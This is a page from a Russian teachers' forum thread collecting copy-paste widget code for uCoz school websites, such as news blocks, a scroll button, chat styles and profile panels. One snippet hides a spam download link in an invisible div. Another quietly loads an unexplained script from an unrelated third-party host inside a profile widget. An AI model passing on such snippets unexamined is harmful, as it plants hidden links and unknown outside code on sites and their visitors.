[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 6 из 8«1245678»
Модератор форума: Игоревич, Сергеев_ЕВ 
Форум учителей » В помощь школьным сайтам (web-мастеру) » Скрипты для сайта » Сборник скриптов (В помощь вебмастеру. Библиотечка скриптов для сайтов)
Сборник скриптов
Сергеев_ЕВ Дата: Среда, 14.07.2010, 13:49 | Сообщение #1
Профиль пользователя Сергеев_ЕВ
Модератор форума
Группа: Модераторы
Сообщений: 2896
Статус: Отсутствует
Уважаемые господа скриптописатели и иже с ними!

1. При создании данной темы подразумевалось, что скрипты, опубликованные здесь, могут быть использованы учителями в своих веб-проектах. Подчеркиваю: УЧИТЕЛЯМИ, в лучшем случае учителями информатики, а не программерами, убитыми по Counter Strike. Поэтому какие-то левые примочки, типа таких (специально оставил для примера) просьба здесь более не публиковать.
2. Прежде, чем постить сюда очередной "шедевр", потрудитесь посмотреть, а не сделал ли кто-то то же самое раньше Вас.
3. Новые темы для одного скрипта создавать ни к чему. Создать-то, конечно, можно, но если ветка не получает развития, все ее посты рано или поздно я перетащу сюда.
4. Не забываем внешние ссылки "заворачивать" внутрь контейнера hide
5. При обнаружении с тексте скрипта неоправданной строчки типа Доступно только для пользователей пост буден удален без исправления с объявлением бана




Окажу помощь в создании и администрировании учительских сайтов в системе uCoz
Aninew Дата: Среда, 04.04.2012, 18:45 | Сообщение #51
фотография отсутствует
Начинающий
Группа: Пользователи
Сообщений: 8
Статус: Отсутствует
Так выглядит скрипт:

Установка:

1. Активируем модуль "Каталог статей" и создаем в нем любую категорию.

2. В настройках модуля включаем галочки у краткого описания, остальные все выключены, а так же включаем возможность поиска материалов пользователя.

3. В настройках групп даем возможность добавлять материалы группе "Администраторы", а остальным закрываем возможность.

4. В вид материалов модуля вставляем:

Code
<b>$DATE$ в $TIME$</b><br>$MESSAGE$<hr>


5. На главной странице модуля находим:

Code
$BODY$


И заменяем на:

Code
<div id="vivodnews">$BODY$</div>


6. На тех страницах, на которых хотите чтобы работал скрипт находим:

<body>

И заменяем на:

Code
<body onload="getnews();">


7. Туда, где хотите видеть сам скрипт вставляете:

Code
<div class="BlockTitlle" style="height:14px;">
     <span style="float:left;">
     Новости проекта
     </span>
     <?if($GROUP_ID$=4)?>
     <span style="float:right;">
     <a href="javascript:AddNewsUwnd()">
     [?]
     </a>
     </span>
     <?endif?>
</div>
<div class="BlockCont" style="padding:0px;">
     <script type="text/javascript" src="http://isucoz.ru/uploads/scripts/001/uwnd.news.js">
     </script>
     <div class="vvodnews" style="padding:3px;overflow-y:scroll;overflow-x:hidden;max-height:120px;">
     </div>
</div>


Лично я ставил в глобальный блок.

Скрипт установлен.


Сообщение отредактировал Сергеев_ЕВ - Понедельник, 30.04.2012, 15:27
Aninew Дата: Среда, 04.04.2012, 18:45 | Сообщение #52
фотография отсутствует
Начинающий
Группа: Пользователи
Сообщений: 8
Статус: Отсутствует
Скрипт показывает под какой браузер оптимизирован ваш сайт и если на других он будет отображается некачественно то ваш пользователь зайдет с того браузера который порекомендовал сайт.
Вставляете в блок:

Так выглядит скрипт:

Code
<center>       
Наш сайт адаптирован под браузер <b>Mozilla Firefox</b><div class="screenshot"><img src="http://s50.radikal.ru/i129/1203/92/ba5e8895e581.png"><div style="display:none;"><a href="http://oi-e.com/">скачать бесплатно</a></div></div><b><a rel="nofollow" href="http://download.mozilla.org/?product=firefox-11.0&os=win&lang=ru" target="_blank">Скачать/Download</a></b>       
<div style="margin-top: 2px; border: 1px solid rgb(189, 189, 189); -moz-border-radius: 4px 4px 4px 4px; padding: 5px;">       
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)       
</div>       
</center>


Сообщение отредактировал Сергеев_ЕВ - Понедельник, 30.04.2012, 15:31
Aninew Дата: Среда, 04.04.2012, 18:45 | Сообщение #53
фотография отсутствует
Начинающий
Группа: Пользователи
Сообщений: 8
Статус: Отсутствует
Так выглядит скрипт:

Code
<div style="text-align: center;"><img src="http://s019.radikal.ru/i639/1203/c7/7243e7613acd.png" alt="Победы"></div><div style="text-align: center;"><font face="'Franklin Gothic Medium'" >Победы (0)</font></div><div style="text-align: center;"><img src="http://s019.radikal.ru/i616/1203/b5/5959623a9029.png" alt=""></div><div style="text-align: center;"><font face="Arial"><img src="http://s018.radikal.ru/i519/1203/99/5efae75ee534.png" alt="Поражения"><br></font></div><div style="text-align: center;"><font face="'Franklin Gothic Medium'" >Поражение (0)</font></div><div style="text-align: center;"><img src="http://s019.radikal.ru/i617/1203/a5/a51c4a3131e6.png" alt=""><br></div><div style="text-align: center;"><font face="Arial"><img src="http://s019.radikal.ru/i635/1203/41/3d68129fb0e2.png" alt="Ничья"><br></font></div><div style="text-align: center;"><font face="'Franklin Gothic Medium'" >Ничья (0)</font></div><div style="text-align: center;"><img src="http://s018.radikal.ru/i519/1203/47/eb894e2f8ed4.png" alt=""><div style="text-align: center;"><font face="'Franklin Gothic Medium'" ><a href="http://линк" title="Забить CW">Забить CW</a></font></div></div>


Сообщение отредактировал Сергеев_ЕВ - Понедельник, 30.04.2012, 15:28
Aninew Дата: Среда, 04.04.2012, 18:45 | Сообщение #54
фотография отсутствует
Начинающий
Группа: Пользователи
Сообщений: 8
Статус: Отсутствует
Шыкарный скрипт! на темный дизайнах бомбезно смотрится

Так выглядит скрипт:

Идея данного скрипта была взята с социальной сети Вконтакте

Суть скрипта заключается в том, что по мере прокрутки страницы справа постепенно становится непрозрачной кнопка вверх. При наведении на правую крайнюю область страницы весь блок кнопки становится кликабельным и клик по ней плавно проскроллит страницу в самый верх

Установка:
В любой глобальный блок в самый низ:

Code
<style>      
      #aposcroll a {      
      text-decoration:none;      
      color:red;      
      }      

      #aposcroll:hover {      
      background-color:rgba(200, 200, 200, 0.7);      
      box-shadow:0px -5px 10px #777;      
      }      
      </style>      
      <div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:70px;height:100%;opacity:0" id="aposcroll"><center><a href="javascript://">^ Вверх</a></center></div>      

      <script>      
      // Кнопка Вверх by Apocalypse      
      var as = $('#aposcroll');      
      as.click(function() {      
      $(document).scrollTo(0, 500);      
      });      
      document.onscroll = function() {      
      var apolst = '0.'+$('body').scrollTop();      
      if(apolst.length == 5) {      
      as.stop().fadeTo(500, apolst);      
      } else if(apolst.length == 4  apolst.length == 3) {      
      as.stop().fadeTo(500, 0);      
      };      
      };      
      // apo-ucoz.com (c) 2012      
      </script>


Сообщение отредактировал Сергеев_ЕВ - Понедельник, 30.04.2012, 15:29
Aninew Дата: Среда, 04.04.2012, 18:45 | Сообщение #55
фотография отсутствует
Начинающий
Группа: Пользователи
Сообщений: 8
Статус: Отсутствует
Так выглядит скрипт:

Новый вид мини-чата, подойдет для светлых дизайнов.

Установка: в CSS ставим код:

Code
mchat textarea {border:1px solid #DBDBDB;background:#f7f7f7;padding-right:5px;}        
        .mchat textarea:hover {background:#fff;}        
        .mchat input {background:#E8E8E8;border:1px solid #DBDBDB;border-left:none;height:40px;margin-left:-2px;width:20px;}        
        .gost {background:#fff;border:1px solid #DBDBDB;padding:5px;border-left:none;text-align:left;margin-left:-3px;padding-bottom:2px;margin-top:-5px;height:50px;font:10px Tahoma;}        
        .op_fon {background:#f7f7f7;border:1px solid #DBDBDB;border-right:1px dotted #ccc;width:40px;height:50px;}        
        .op_fon img {padding-left:5px; filter:progid:DXImageTransform.Microsoft.alpha(opacity=60);-moz-opacity:0.6;opacity:0.6;}        

        .option {border:1px solid #ccc;height:20px;margin:5px 0;width:100%;padding-top:3px;background:#fff;filter:progid:DXImageTransform.Microsoft.alpha(opacity=40);-moz-opacity:0.4;opacity:0.4;}        
        .option:hover {filter:progid:DXImageTransform.Microsoft.alpha(opacity=100);-moz-opacity:1;opacity:1;}        
        .chat {background:#E8E8E8;border:1px solid #DBDBDB;padding:3px 0;font:11px Tahoma;border-top:none;}        
        .cBlock {margin:0px;padding:0px;border:none;}        
        .cMessage {background:#F8F8F8;border:1px solid #DBDBDB;border-top:none;padding:4px;font:11px Tahoma;}


В форуму добавления сообщения:

Code
<style>        
        .codes {background:#f7f7f7;border:1px solid #ccc;border-top:none;width:99%;}        
        </style>        
               

        <div class="option">        
               
       <div style="float:right;margin-right:5px;"> Осталось: $LENGTH_COUNTER$ </div>       
        <a href="$RELOAD_URI$" title="Обновить"><img alt="" border="0" align="absmiddle" src="http://s019.radikal.ru/i636/1203/38/4e2c54ca51e3.png" width="16" height="16"></a>        
        <a href="$SMILES_URI$" title="Вставить смайл"><img alt="" border="0" align="absmiddle" src="http://s019.radikal.ru/i611/1203/11/72edfa9af6e5.png" width="16" height="16"></a>        
        <a href="$BBCODES_URI$" title="BB-Коды"><img alt="" border="0" align="absmiddle" src="http://s019.radikal.ru/i610/1203/fb/bed6fc653a3f.png" width="16" height="16"></a>        
        <a href="$MSGCTRL_URI$" title="Управление сообщениями"><img alt="" border="0" align="absmiddle" src="http://s48.radikal.ru/i121/1203/bb/64643fdb0823.png" width="16" height="16"></a>        

               
        </div>        

        <table class="mchat" cellspacing="0" cellpadding="0">        
        <tr>        
        <td width="100%">$FLD_MESSAGE$</td>        
        <td>$SUBMIT$</td>        
        </tr>        

        </table>        
               
        <table class="codes">        
        <tr><td>$FLD_SECURE$</td><td>$IMG_SECURE$</td></tr>        
        </table>        
        <br>        
        <table cellspacing="0" cellpadding="0">        
        <tr>        
        <td class="op_fon">        
        <img src="http://3adrotu.ru/Ucoz/1/chat_v1_1/alert.png" width="28" height="28"></td>        
        <td class="gost" valign="top">        
        Для добавления сообщения <a href="/index/3">зарегистрируйтесь</a>.        
        </td>        
        </tr>        
        </table>


Вид материалов:

Code
<div class="cBlock">        
        <div class="chat">        
        <span style="float:right">$TIME$</span>        
        <div style="text-align:left;">        
        <div style="padding-left:7px;"><a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"><b>$NAME$</b></a></div>        
        </div>        

        </div>        

       <div class="cMessage" style="text-align:left;" id="msg$NUMBER$">$MESSAGE$</div>       

        </div>


Сообщение отредактировал Сергеев_ЕВ - Понедельник, 30.04.2012, 15:29
Aninew Дата: Среда, 04.04.2012, 18:45 | Сообщение #56
фотография отсутствует
Начинающий
Группа: Пользователи
Сообщений: 8
Статус: Отсутствует
Так выглядит скрипт:
Установка: просто скопируйте код в нужное место вашего сайта

Code
<!-- Профиль ScaleS --><?if($LOGOUT_LINK$)?><center>             
<script language="javascript">             
function process(){}             
today = new Date()             
if((today.getHours() < 12) && (today.getHours() >= 6))             
{ document.write("Доброе утро, ")}             
if((today.getHours() >= 12) && (today.getHours() < 18))             
{ document.write("Добрый день, ")}             
if((today.getHours() >= 18) && (today.getHours() <= 23))             
{ document.write("Добрый вечер, ")}             
if((today.getHours() >= 0) && (today.getHours() < 4))             
{ document.write("Доброй ночи, ")}             
</script><a href="$PERSONAL_PAGE_LINK$" title="Ваша персональная страница">$USERNAME$</a><hr><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$"><?else?><img src="http://s015.radikal.ru/i333/1102/47/81631fe86fe8.png"><?endif?><?if($UNREAD_PM$=1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30)?><hr><a href="$PM_URL$"><b>У вас $UNREAD_PM$ сообщений!</b></a><?endif?></center><hr>             
<center><a onclick="$('#polz').slideToggle('slow');" ><img src="http://s53.radikal.ru/i139/1102/5d/43c3aeb3cc79.png" title="Информация"></a> <a onclick="$('#PU').slideToggle('slow');" ><img src="http://s45.radikal.ru/i107/1102/1b/3694039bef06.png" title="Панель управления"></a></center>             
<div id="polz" style="display: none;"><hr><br><img src="http://s59.radikal.ru/i165/1102/2f/18eda433464d.png"> <c><b>$USER_FULL_NAME$</b></c><script src="http://a6f.do.am/iqwerty.js"></script>         
<br><img src="http://s012.radikal.ru/i320/1102/a4/2cb13e9b5094.png"> <c><b>$USER_GROUP$</b></c>         
<br><img src="http://s61.radikal.ru/i174/1102/3d/e5b706ad555a.png"> <c><b>$USER_REG_DAYS$</b>-й день</c>         
<br><img src="http://s56.radikal.ru/i151/1102/0e/76b7538e571f.png"> <c><b>$IP_ADDRESS$</b></c>         
<br><img src="http://s41.radikal.ru/i093/1102/db/cb1d96e929de.png"> <c><b>$USER_GENDER_ID$</b></c>         
<br><img src="http://s42.radikal.ru/i095/1102/fa/6a737c438803.png" > <c><b>$USER_AGENT$ $USER_AGENT_VER$</b></c>         
<br><img src="http://s49.radikal.ru/i124/1102/b9/27a29c968f5a.png"> <c><b>$USER_GENDER$</b></c>             
</div>             
<div id="PU" style="display: none;"><hr>             
             <center><a href="$PM_URL$"><img src="http://s59.radikal.ru/i166/1102/68/dd5698b1eac9.png"></a></center>         
             <center><br><a href="$USERS_LIST_URL$"><img src="http://i034.radikal.ru/1102/90/9010a6d51f35.png"></a></center>         
             <center><br><a href="$PERSONAL_PAGE_LINK$"><img src="http://i038.radikal.ru/1102/79/5c21ba113a61.png" ></a></center>         
</div><hr><center><A title="Выход" onclick="if (confirm('Вы действительно хотите выйти?')) {alert('Не забывайте про нас');location.href='/index/10';} else {alert('Вот и хорошо что остались')};"><img src="http://s55.radikal.ru/i149/1102/15/a495834b0573.png" alt="Выход" border="0"></A></center>             
             <?else?><center><img src="http://s58.radikal.ru/i162/1102/81/d33a7627fb0a.png" height="150" width="150"></center><hr><center><a href="$LOGIN_LINK$">Вход</a> | <a href="$REGISTER_LINK$">Регистрация</a></center><?endif?>             
<!-- /Профиль ScaleS -->
Aninew Дата: Среда, 04.04.2012, 18:45 | Сообщение #57
фотография отсутствует
Начинающий
Группа: Пользователи
Сообщений: 8
Статус: Отсутствует
Так выглядит скрипт:

Code
<?if($USER_LOGGED_IN$)?>       
<div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 180px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);">       
<table width="100%"><tbody><tr><td align="left"><br></td></tr><tr><td style="font-size: 10.5px;" align="center">       
<div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);">Здравствуйте,<br><b>$USERNAME$</b>!<br></div> <p><a href="javascript://" rel="nofollow" onclick="window.open('/index/8','upp','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350');return false;"><?if($USER_AVATAR_URL$)?><img width="155px" height="200px" class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://css-teampro.ru/no_ava.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://css-teampro.ru/no_ava.png" border="0"><?endif?><?endif?>       
</a></p><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);">$USER_GROUP$</div></td></tr>       
<tr><td style="font-size: 10.5px;" align="center"><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);">Вы с нами: $USER_REG_DAYS$-й день</div></td></tr>       
<tr><td style="font-size: 10.5px;" align="center"><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);"><a id="upml2" href="javascript://" onclick="openLayerB('PM',0,'http://css-teampro.ru/xml/pm.xml','Личные сообщения',750,410,'1','','',0,'center');return false;"><font color="#707070">Личных сообщений (<b>$UNREAD_PM$</b>)</font></a></div></td></tr> <?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><?endif?>       

<tr><td style="font-size: 10.5px;" align="center"><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);"><a href="javascript://" onclick="openLayerB('USearch',0,'http://css-teampro.ru/ajax/search.xml','Поиск по названию',370,150,'1','','',0,'justify'); return false;"><font color="#707070">Поиск по сайту</font></a></div></td></tr>       
<tr><td style="font-size: 10.5px;" align="center"><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);">Ваш ID:$USER_ID$</div></td></tr>       
<tr><td style="font-size: 10.5px;" align="center"><div style="border: 1px solid rgb(54, 54, 54); background: transparent url(http://css-teampro.ru/img/1.png) repeat scroll 0% 0%; width: 150px; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(112, 112, 112);"><a href="$LOGOUT_LINK$"><font color="#707070">Выход</font></a><br></div></td></tr></tbody></table><?endif?>$LOGIN_FORM$<br>


Сообщение отредактировал Сергеев_ЕВ - Понедельник, 30.04.2012, 15:30
3dmaksik Дата: Среда, 04.04.2012, 20:09 | Сообщение #58
Профиль пользователя 3dmaksik
Новичок
Группа: Пользователи
Сообщений: 34
Статус: Отсутствует
то есть подойдёт по любой тёмный дизайн сайта

Всё что ни делается, всё к лучшему.
Сергеев_ЕВ Дата: Среда, 04.04.2012, 20:17 | Сообщение #59
Профиль пользователя Сергеев_ЕВ
Модератор форума
Группа: Модераторы
Сообщений: 2896
Статус: Отсутствует
Quote (3dmaksik)
то есть подойдёт по любой тёмный дизайн сайта
В том виде, как есть - конечно. Можно, конечно, запилить и под светлые шаблоны, если есть желание поковыряться smile




Окажу помощь в создании и администрировании учительских сайтов в системе uCoz
3dmaksik Дата: Понедельник, 09.04.2012, 18:02 | Сообщение #60
Профиль пользователя 3dmaksik
Новичок
Группа: Пользователи
Сообщений: 34
Статус: Отсутствует
Не очень как то мне не нравится. особенно клоны

Всё что ни делается, всё к лучшему.
Форум учителей » В помощь школьным сайтам (web-мастеру) » Скрипты для сайта » Сборник скриптов (В помощь вебмастеру. Библиотечка скриптов для сайтов)
Страница 6 из 8«1245678»
Поиск:

Если Вы хотите оставить сообщение на форуме,
то рекомендуем Вам зарегистрироваться на нашем сайте или войти на портал как зарегистрированный пользователь